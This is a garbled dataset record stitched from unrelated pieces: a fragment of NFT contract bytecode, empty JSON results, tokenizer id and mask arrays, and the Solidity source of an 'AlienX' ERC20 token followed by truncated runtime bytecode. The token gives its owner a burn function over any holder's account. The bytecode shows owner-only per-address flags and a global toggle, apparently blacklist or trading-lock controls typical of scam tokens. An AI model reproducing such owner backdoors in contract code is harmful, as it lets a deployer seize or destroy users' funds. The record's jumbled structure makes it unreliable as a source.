ffff161461258c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258390614a11565b60405180910390fd5b7f2d5a82cbc34270500c60b0532ca36cd4716c295bf0351b25835351664a3125bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516125dd919061493b565b60405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f30313032000000000000000000000000000000000000000000000000000000008152509061268d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268491906149cf565b60405180910390fd5b508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040518060400160405280600481526020017f303130310000000000000000000000000000000000000000000000000000000081525081565b600033905090565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506127d082613190565b6127da8183613231565b6127e4838361323f565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661294c576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b61038861ffff16600680549050106040518060400160405280600481526020017f303430310000000000000000000000000000000000000000000000000000000081525090612a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2891906149cf565b60405180910390fd5b50612a3c828261324d565b5050565b60606000612a4d836132ad565b905060006040518060400160405280601081526020017f697066733a2f2f46303137303132323000000000000000000000000000000000815250905060008183604051602001612a9e929190614866565b6040516020818303038152906040529050809350505050919050565b612710811115612aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af6906149f1565b60405180910390fd5b60405180604001604052808373ffffffffffffffffffffffffffffffffffffffff16815260200182815250600d600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155905050505050565b8160006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050612bd7612787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480612c755750612c13612787565b73ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80612d065750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6040518060400160405280600481526020017f303330340000000000000000000000000000000000000000000000000000000081525090612d7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7491906149cf565b60405180910390fd5b5083600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330320000000000000000000000000000000000000000000000000000000081525090612e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5191906149cf565b60405180910390fd5b5060006002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600481526020017f303330370000000000000000000000000000000000000000000000000000000081525090612f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3091906149cf565b60405180910390fd5b50600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330310000000000000000000000000000000000000000000000000000000081525090612fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd991906149cf565b60405180910390fd5b50612fed878761278f565b61300c8773ffffffffffffffffffffffffffffffffffffffff1661347f565b156131685760008773ffffffffffffffffffffffffffffffffffffffff1663150b7a02338b8a8a6040518563ffffffff1660e01b815260040161305294939291906148a5565b602060405180830381600087803b15801561306c57600080fd5b505af1158015613080573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130a49190614514565b905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146040518060400160405280600481526020017f303330350000000000000000000000000000000000000000000000000000000081525090613165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161315c91906149cf565b60405180910390fd5b50505b5050505050505050565b61317b816134ca565b50565b60006131898261351d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461322e576003600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b50565b61323b8282613569565b5050565b61324982826138a2565b5050565b6132578282613a9f565b600681908060018154018082558091505060019003906000526020600020016000909190919091505560016006805490506132929190614beb565b60076000838152602001908152602001600020819055505050565b606060008214156040518060400160405280600481526020017f30343034000000000000000000000000000000000000000000000000000000008152509061332b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161332291906149cf565b60405180910390fd5b506000604067ffffffffffffffff81111561336f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156133a15781602001600182028036833780820191505090505b50905060005b6040811015613475576000600f85169050600981116133d5578060306133cd9190614b29565b60f81b6133e6565b8060376133e29190614b29565b60f81b5b8383603f6133f49190614beb565b8151811061342b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945050808061346d90614d14565b9150506133a7565b5080915050919050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156134c15750808214155b92505050919050565b6134d381613e07565b6000600c600083815260200190815260200160002080546134f390614ce2565b90501461351a57600c600082815260200190815260200160002060006135199190614164565b5b50565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b8173ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600481526020017f303330370000000000000000000000000000000000000000000000000000000081525090613642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363991906149cf565b60405180910390fd5b506002600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560006009600083815260200190815260200160002054905060006001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506136e29190614beb565b9050818114613811576000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613764577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481106137e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550826009600083815260200190815260200160002081905550505b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480613886577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600481526020017f30333036000000000000000000000000000000000000000000000000000000008152509061397c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161397391906149cf565b60405180910390fd5b50816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150506001900390600052602060002001600090919091909150556001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613a849190614beb565b60096000838152602001908152602001600020819055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330310000000000000000000000000000000000000000000000000000000081525090613b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b3e91906149cf565b60405180910390fd5b50600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600481526020017f303330360000000000000000000000000000000000000000000000000000000081525090613c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c1991906149cf565b60405180910390fd5b50613c2d828261323f565b613c4c8273ffffffffffffffffffffffffffffffffffffffff1661347f565b15613da75760008273ffffffffffffffffffffffffffffffffffffffff1663150b7a02336000856040518463ffffffff1660e01b8152600401613c91939291906148f1565b602060405180830381600087803b158015613cab57600080fd5b505af1158015613cbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ce39190614514565b905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146040518060400160405280600481526020017f303330350000000000000000000000000000000000000000000000000000000081525090613da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d9b91906149cf565b60405180910390fd5b50505b808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b613e1081613f55565b60006007600083815260200190815260200160002054905060006001600680549050613e3c9190614beb565b9050600060068281548110613e7a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060068481548110613ec2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055506006805480613f08577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b600190038181906000526020600020016000905590558260076000838152602001908152602001600020819055506000600760008681526020019081526020016000208190555050505050565b80600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330320000000000000000000000000000000000000000000000000000000081525090614031576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161402891906149cf565b60405180910390fd5b5060006002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061407383613190565b61407d8184613231565b82600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b8280546140ea90614ce2565b90600052602060002090601f01602090048101928261410c5760008555614153565b82601f1061412557805160ff1916838001178555614153565b82800160010185558215614153579182015b82811115614152578251825591602001919060010190614137565b5b50905061416091906141a4565b5090565b50805461417090614ce2565b6000825580601f1061418257506141a1565b601f0160209004906000526020600020908101906141a091906141a4565b5b50565b5b808211156141bd5760008160009055506001016141a5565b5090565b60006141d46141cf84614a7d565b614a4c565b9050828152602081018484840111156141ec57600080fd5b6141f7848285614ca0565b509392505050565b60008135905061420e81614e2a565b92915050565b60008135905061422381614e41565b92915050565b60008135905061423881614e58565b92915050565b60008151905061424d81614e58565b92915050565b60008083601f84011261426557600080fd5b8235905067ffffffffffffffff81111561427e57600080fd5b60208301915083600182028301111561429657600080fd5b9250929050565b600082601f8301126142ae57600080fd5b81356142be8482602086016141c1565b91505092915050565b6000813590506142d681614e6f565b92915050565b6000602082840312156142ee57600080fd5b60006142fc848285016141ff565b91505092915050565b6000806040838503121561431857600080fd5b6000614326858286016141ff565b9250506020614337858286016141ff565b9150509250929050565b60008060006060848603121561435657600080fd5b6000614364868287016141ff565b9350506020614375868287016141ff565b9250506040614386868287016142c7565b9150509250925092565b6000806000806000608086880312156143a857600080fd5b60006143b6888289016141ff565b95505060206143c7888289016141ff565b94505060406143d8888289016142c7565b935050606086013567ffffffffffffffff8111156143f557600080fd5b61440188828901614253565b92509250509295509295909350565b6000806040838503121561442357600080fd5b6000614431858286016141ff565b925050602061444285828601614214565b9150509250929050565b6000806040838503121561445f57600080fd5b600061446d858286016141ff565b925050602061447e858286016142c7565b9150509250929050565b6000806000806080858703121561449e57600080fd5b60006144ac878288016141ff565b94505060206144bd878288016142c7565b93505060406144ce878288016141ff565b92505060606144df878288016142c7565b91505092959194509250565b6000602082840312156144fd57600080fd5b600061450b84828501614229565b91505092915050565b60006020828403121561452657600080fd5b60006145348482850161423e565b91505092915050565b60006020828403121561454f57600080fd5b600082013567ffffffffffffffff81111561456957600080fd5b6145758482850161429d565b91505092915050565b60006020828403121561459057600080fd5b600061459e848285016142c7565b91505092915050565b600080604083850312156145ba57600080fd5b60006145c8858286016142c7565b925050602083013567ffffffffffffffff8111156145e557600080fd5b6145f18582860161429d565b9150509250929050565b6000806040838503121561460e57600080fd5b600061461c858286016142c7565b925050602061462d858286016142c7565b9150509250929050565b60006146438383614848565b60208301905092915050565b61465881614c1f565b82525050565b600061466982614abd565b6146738185614aeb565b935061467e83614aad565b8060005b838110156146af5781516146968882614637565b97506146a183614ade565b925050600181019050614682565b5085935050505092915050565b6146c581614c31565b82525050565b60006146d682614ac8565b6146e08185614afc565b93506146f0818560208601614caf565b6146f981614e19565b840191505092915050565b600061470f82614ad3565b6147198185614b0d565b9350614729818560208601614caf565b61473281614e19565b840191505092915050565b600061474882614ad3565b6147528185614b1e565b9350614762818560208601614caf565b80840191505092915050565b600061477b601a83614b0d565b91507f45524332393831526f79616c746965733a20546f6f20686967680000000000006000830152602082019050919050565b60006147bb600983614b0d565b91507f4e6f74206f776e657200000000000000000000000000000000000000000000006000830152602082019050919050565b60006147fb600083614afc565b9150600082019050919050565b6000614815601c83614b0d565b91507f706173736564206f776e65727368697020726571756972656d656e74000000006000830152602082019050919050565b61485181614c89565b82525050565b61486081614c89565b82525050565b6000614872828561473d565b915061487e828461473d565b91508190509392505050565b600060208201905061489f600083018461464f565b92915050565b60006080820190506148ba600083018761464f565b6148c7602083018661464f565b6148d46040830185614857565b81810360608301526148e681846146cb565b905095945050505050565b6000608082019050614906600083018661464f565b614913602083018561464f565b6149206040830184614857565b8181036060830152614931816147ee565b9050949350505050565b6000604082019050614950600083018461464f565b818103602083015261496181614808565b905092915050565b600060408201905061497e600083018561464f565b61498b6020830184614857565b9392505050565b600060208201905081810360008301526149ac818461465e565b905092915050565b60006020820190506149c960008301846146bc565b92915050565b600060208201905081810360008301526149e98184614704565b905092915050565b60006020820190508181036000830152614a0a8161476e565b9050919050565b60006020820190508181036000830152614a2a816147ae565b9050919050565b6000602082019050614a466000830184614857565b92915050565b6000604051905081810181811067ffffffffffffffff82111715614a7357614a72614dea565b5b8060405250919050565b600067ffffffffffffffff821115614a9857614a97614dea565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614b3482614c93565b9150614b3f83614c93565b92508260ff03821115614b5557614b54614d5d565b5b828201905092915050565b6000614b6b82614c89565b9150614b7683614c89565b925082614b8657614b85614d8c565b5b828204905092915050565b6000614b9c82614c89565b9150614ba783614c89565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614be057614bdf614d5d565b5b828202905092915050565b6000614bf682614c89565b9150614c0183614c89565b925082821015614c1457614c13614d5d565b5b828203905092915050565b6000614c2a82614c69565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015614ccd578082015181840152602081019050614cb2565b83811115614cdc576000848401525b50505050565b60006002820490506001821680614cfa57607f821691505b60208210811415614d0e57614d0d614dbb565b5b50919050565b6000614d1f82614c89565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614d5257614d51614d5d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b614e3381614c1f565b8114614e3e57600080fd5b50565b614e4a81614c31565b8114614e5557600080fd5b50565b614e6181614c3d565b8114614e6c57600080fd5b50565b614e7881614c89565b8114614e8357600080fd5b5056fea264697066735822122038fc80ad4ae096a2478deb7b37ca0004b5182c86244fd1edaed72531a96ee34264736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 14526, 24096, 3401, 2278, 2509, 2063, 2549, 2094, 2509, 4246, 2683, 22394, 2487, 2278, 2575, 2581, 2549, 29292, 18139, 2629, 2050, 23352, 11387, 2620, 2094, 22610, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 1050, 2546, 1011, 19204, 1011, 4372, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1050, 2546, 1011, 19204, 1011, 27425, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3079, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 24594, 2620, 2487, 1011, 2566, 1011, 19204, 1011, 25335, 1012, 14017, 1000, 1025, 3206, 2644, 10760, 9028, 15422, 26549, 2015, 2003, 1050, 6199, 11045, 10224, 17897, 16670, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,165
0x96513e2d96165669c73f90b0c1094f55df3aef12
/** ....###....##.......####.########.##....##.##.....## ...##.##...##........##..##.......###...##..##...##. ..##...##..##........##..##.......####..##...##.##.. .##.....##.##........##..######...##.##.##....###... .#########.##........##..##.......##..####...##.##.. .##.....##.##........##..##.......##...###..##...##. .##.....##.########.####.########.##....##.##.....## Telegram: https://t.me/alienxoff Twitter: https://twitter.com/alienxoff Website: https://alienx.org */ // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./ERC20.sol"; import "./Address.sol"; contract Alienx is ERC20 { mapping(address => uint256) private _blockNumberByAddress; uint256 private _initialSupply = 500000000 * 10**18; constructor() ERC20("AlienX Token | t.me/alienxoff", "ALX") { _totalSupply += _initialSupply; _balances[msg.sender] += _initialSupply; emit Transfer(address(0), msg.sender, _initialSupply); } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638fbbeb52116100c3578063b3d22e9c1161007c578063b3d22e9c146103ed578063b67df42014610409578063c5730d9d14610425578063dd62ed3e14610441578063e22fb73014610471578063e580b2b0146104a157610158565b80638fbbeb521461031957806395d89b41146103355780639dc29fac14610353578063a457c2d71461036f578063a9059cbb1461039f578063b14ae78b146103cf57610158565b806333d7eeed1161011557806333d7eeed14610247578063395093511461027757806341959586146102a75780634355b9d2146102c357806370a08231146102df5780638203f5fe1461030f57610158565b806306fdde031461015d57806308593b4b1461017b578063095ea7b3146101ab57806318160ddd146101db57806323b872dd146101f9578063313ce56714610229575b600080fd5b6101656104bf565b6040516101729190611dbe565b60405180910390f35b61019560048036038101906101909190611a5d565b610551565b6040516101a29190611da3565b60405180910390f35b6101c560048036038101906101c09190611b11565b610571565b6040516101d29190611da3565b60405180910390f35b6101e361058f565b6040516101f09190611f80565b60405180910390f35b610213600480360381019061020e9190611ac2565b610599565b6040516102209190611da3565b60405180910390f35b61023161069a565b60405161023e9190611f9b565b60405180910390f35b610261600480360381019061025c9190611a5d565b6106a3565b60405161026e9190611da3565b60405180910390f35b610291600480360381019061028c9190611b11565b6106c3565b60405161029e9190611da3565b60405180910390f35b6102c160048036038101906102bc9190611a5d565b61076f565b005b6102dd60048036038101906102d89190611a5d565b61085a565b005b6102f960048036038101906102f49190611a5d565b610945565b6040516103069190611f80565b60405180910390f35b61031761098d565b005b610333600480360381019061032e9190611b4d565b610a77565b005b61033d610b11565b60405161034a9190611dbe565b60405180910390f35b61036d60048036038101906103689190611b11565b610ba3565b005b61038960048036038101906103849190611b11565b610c41565b6040516103969190611da3565b60405180910390f35b6103b960048036038101906103b49190611b11565b610d35565b6040516103c69190611da3565b60405180910390f35b6103d7610d53565b6040516103e49190611f80565b60405180910390f35b61040760048036038101906104029190611a5d565b610d59565b005b610423600480360381019061041e9190611a5d565b610e43565b005b61043f600480360381019061043a9190611b4d565b610f2e565b005b61045b60048036038101906104569190611a86565b610fc8565b6040516104689190611f80565b60405180910390f35b61048b60048036038101906104869190611a5d565b61104f565b6040516104989190611da3565b60405180910390f35b6104a96110a5565b6040516104b69190611da3565b60405180910390f35b6060600680546104ce906120e4565b80601f01602080910402602001604051908101604052809291908181526020018280546104fa906120e4565b80156105475780601f1061051c57610100808354040283529160200191610547565b820191906000526020600020905b81548152906001019060200180831161052a57829003601f168201915b5050505050905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600061058561057e6110bc565b84846110c4565b6001905092915050565b6000600554905090565b60006105a684848461128f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f16110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611ec0565b60405180910390fd5b61068e8561067d6110bc565b85846106899190612028565b6110c4565b60019150509392505050565b60006012905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b60006107656106d06110bc565b8484600260006106de6110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107609190611fd2565b6110c4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690611e00565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e190611e00565b60405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1490611e00565b60405180910390fd5b60011515600360009054906101000a900460ff1615151415610a59576000600360006101000a81548160ff021916908315150217905550610a75565b6001600360006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611e00565b60405180910390fd5b8060048190555050565b606060078054610b20906120e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4c906120e4565b8015610b995780601f10610b6e57610100808354040283529160200191610b99565b820191906000526020600020905b815481529060010190602001808311610b7c57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90611e00565b60405180910390fd5b610c3d8282611864565b5050565b60008060026000610c506110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0490611f60565b60405180910390fd5b610d2a610d186110bc565b858584610d259190612028565b6110c4565b600191505092915050565b6000610d49610d426110bc565b848461128f565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de090611e00565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90611e00565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611e00565b60405180910390fd5b8060098190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900460ff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90611f40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90611e60565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112829190611f80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690611f00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690611de0565b60